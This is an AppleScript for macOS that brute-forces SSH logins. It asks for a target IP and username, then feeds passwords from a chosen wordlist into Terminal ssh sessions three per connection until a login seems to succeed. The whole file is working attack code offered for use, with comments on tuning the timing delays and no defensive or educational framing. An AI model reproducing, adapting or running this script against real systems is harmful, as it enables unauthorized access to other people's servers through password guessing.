-- AppleScript for OSX to brute-force SSH with a wordlist
-- by JawnDoh!

-- If you regularly use this script to connect to an IP for the first time then
-- make the first line of your wordlist "yes" to answer the SSH prompt regarding
-- whether you want to continue connecting.

-- Timing is crucial, this script checks to see if ssh is running in
-- Terminal.app.  If it is, the script assumes it was successful and
-- exits.  If the timing is off then ssh may be running and waiting
-- for the next password entry when the script checks for ssh - and
-- if that occurs the script will end and show the last three words.

-- You can adjust the timing below, the two delays are originally set
-- to 5 and 3 respectively which performed well during testing.

display dialog "Enter IP Address" default answer "" buttons {"Cancel", "Enter"} default button 2
set IP_address to text returned of result

display dialog "Enter username" default answer "" buttons {"Cancel", "Enter"} default button 2
set the_username to text returned of result

set word_file to (choose file with prompt "Select a word list:")

tell application "Terminal"
   activate
   do script "clear"
   set the_window to window frontmost
end tell

set line_number to 1
set success to 0

repeat while success is equal to 0
   tell application "Terminal"
      set the_processes to ""
      set the_password to paragraph line_number of (read word_file)
      set line_number to line_number + 1
      do script "ssh " & IP_address & " -l " & the_username in the_window
      if line_number is equal to 2 then
         delay 5 -- you may need to adjust this delay for the first connection
      else
         delay 2 -- you may need to adjust this delay for subsequent connections
      end if
      do script the_password in the_window
      delay 1
      set the_password to paragraph line_number of (read word_file)
      set line_number to line_number + 1
      do script the_password in the_window
      delay 1
      set the_password to paragraph line_number of (read word_file)
      set line_number to line_number + 1
      do script the_password in the_window
      delay 2 -- you may need to adjust this delay if it gives up between connection attempts
   end tell
   
   tell application "Terminal"
      set the_processes to processes of window frontmost
      set number_of_processes to the count of the_processes
      set all_processes to ""
      set i to 1
      repeat with i from 1 to number_of_processes
         set all_processes to all_processes & " " & item i of the_processes
      end repeat
   end tell
   if all_processes contains "ssh" then set success to 1
end repeat

display dialog "These are the last 3 passwords tried: " & paragraph (line_number - 3) of (read word_file) & " " & paragraph (line_number - 2) of (read word_file) & " " & paragraph (line_number - 1) of (read word_file)